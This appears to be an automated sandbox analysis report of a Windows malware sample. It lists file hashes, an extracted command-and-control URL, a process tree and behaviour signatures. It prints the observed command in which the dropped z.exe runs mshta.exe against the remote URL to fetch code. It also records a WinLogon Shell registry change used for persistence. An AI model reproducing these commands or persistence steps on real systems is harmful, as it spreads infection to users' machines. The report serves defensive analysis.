Analysis
-
max time kernel
150s -
max time network
151s -
platform
windows10-2004_x64 -
resource
win10v2004-20240226-en -
resource tags
arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system -
submitted
27-02-2024 14:58
Behavioral task
behavioral1
Sample
a97294359020ade8b49e7189457a9fd8.exe
Resource
win7-20240221-en
Behavioral task
behavioral2
Sample
a97294359020ade8b49e7189457a9fd8.exe
Resource
win10v2004-20240226-en
General
-
Target
a97294359020ade8b49e7189457a9fd8.exe
-
Size
765KB
-
MD5
a97294359020ade8b49e7189457a9fd8
-
SHA1
2e526abe4e64563e723c557a01106ea40559ffa3
-
SHA256
6d3239a0892bcb94b2a62d172790e5d433f4d6b32b8ecf8c9e963ea4e4a6f271
-
SHA512
0675699c1d1975ebea92c9d2468ccb6f4a6d5c5495cb89dd4c9811dbcb728530f0f0fef3447a6b153c397b9f519df22bc346bd872a0c4efb336ce1e0d6562e75
-
SSDEEP
12288:fSJsWPOGw+qKxNaLIym/P3BANlm2sjynU4q18ympGVZH6Uv/3xqkri/lUy7PU83F:fSrxELIyS3BAN82s0UnjgwBqLNUiM83U
Malware Config
Extracted
http://rerererererere.com/inst.php?id=forbidden
Signatures
-
Modifies WinLogon for persistence 2 TTPs 1 IoCs
Processes:
z.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\palladium.exe" z.exe -
Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
a97294359020ade8b49e7189457a9fd8.exez.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation a97294359020ade8b49e7189457a9fd8.exe Key value queried \REGISTRY\USER\S-1-5-21-513485977-2495024337-1260977654-1000\Control Panel\International\Geo\Nation z.exe -
Executes dropped EXE 1 IoCs
Processes:
z.exepid process 1796 z.exe -
Processes:
resource yara_rule behavioral2/memory/4824-0-0x0000000000400000-0x000000000051B000-memory.dmp upx C:\Users\Admin\AppData\Roaming\z.exe upx behavioral2/memory/1796-17-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/4824-16-0x0000000000400000-0x000000000051B000-memory.dmp upx behavioral2/memory/1796-26-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-27-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-29-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-30-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-31-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-32-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-33-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-34-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-35-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-36-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-37-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-38-0x0000000000400000-0x00000000007F6000-memory.dmp upx behavioral2/memory/1796-40-0x0000000000400000-0x00000000007F6000-memory.dmp upx -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
z.exepid process 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe 1796 z.exe -
Suspicious use of SetWindowsHookEx 2 IoCs
Processes:
z.exepid process 1796 z.exe 1796 z.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
a97294359020ade8b49e7189457a9fd8.exez.exedescription pid process target process PID 4824 wrote to memory of 1796 4824 a97294359020ade8b49e7189457a9fd8.exe z.exe PID 4824 wrote to memory of 1796 4824 a97294359020ade8b49e7189457a9fd8.exe z.exe PID 4824 wrote to memory of 1796 4824 a97294359020ade8b49e7189457a9fd8.exe z.exe PID 1796 wrote to memory of 1348 1796 z.exe mshta.exe PID 1796 wrote to memory of 1348 1796 z.exe mshta.exe PID 1796 wrote to memory of 1348 1796 z.exe mshta.exe PID 1796 wrote to memory of 4544 1796 z.exe cmd.exe PID 1796 wrote to memory of 4544 1796 z.exe cmd.exe PID 1796 wrote to memory of 4544 1796 z.exe cmd.exe
Processes
-
C:\Users\Admin\AppData\Local\Temp\a97294359020ade8b49e7189457a9fd8.exe"C:\Users\Admin\AppData\Local\Temp\a97294359020ade8b49e7189457a9fd8.exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\z.exe"C:\Users\Admin\AppData\Roaming\z.exe" forbidden2⤵
- Modifies WinLogon for persistence
- Checks computer location settings
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\mshta.exe"C:\Windows\System32\mshta.exe" http://rerererererere.com/inst.php?id=forbidden3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\dgfdgsdf.bat" "3⤵
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
C:\Users\Admin\AppData\Roaming\dgfdgsdf.batFilesize
167B
MD5e5a2cf708be039ebe72233673c1f2ac7
SHA1cca4b5f8c08e07779f4eddd7e3c960d7f68078f8
SHA2561f67a80290e77b7ec48c8b676bcc076ff5b271e2caf17352b1880d65a956e43c
SHA5120d47a1ccf419c4cb8fc1a25b35470ba3b51e49a6045fe1efcd533ebbe9d69a92a1a7b60f2666e1419613c0bd45ffd128623adb11c313c1b3749727f5a4a9f645
-
C:\Users\Admin\AppData\Roaming\z.exeFilesize
531KB
MD516324fc81aea75ee1b90fbe20eb91c00
SHA1d6cf3bd8d5febb790e1ff8dd39b378229e73462f
SHA2560f948ceb06d973c6276ffc742b18c638dc301576997dbb20b5802df6cb35a8d3
SHA512d5974f326b4d61743ee3f64e7de79fa105e03ce640555aeae823d2270ec915b795b8308f9291ee718dbdf0213e0eec425b7b97159b0c9c5c0131dcb204d501a6
-
memory/1796-29-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-30-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-40-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-18-0x00000000009D0000-0x00000000009D1000-memory.dmpFilesize
4KB
-
memory/1796-38-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-26-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-27-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-28-0x00000000009D0000-0x00000000009D1000-memory.dmpFilesize
4KB
-
memory/1796-37-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-17-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-31-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-32-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-33-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-34-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-35-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/1796-36-0x0000000000400000-0x00000000007F6000-memory.dmpFilesize
4.0MB
-
memory/4824-0-0x0000000000400000-0x000000000051B000-memory.dmpFilesize
1.1MB
-
memory/4824-1-0x00000000022C0000-0x00000000022C1000-memory.dmpFilesize
4KB
-
memory/4824-16-0x0000000000400000-0x000000000051B000-memory.dmpFilesize
1.1MB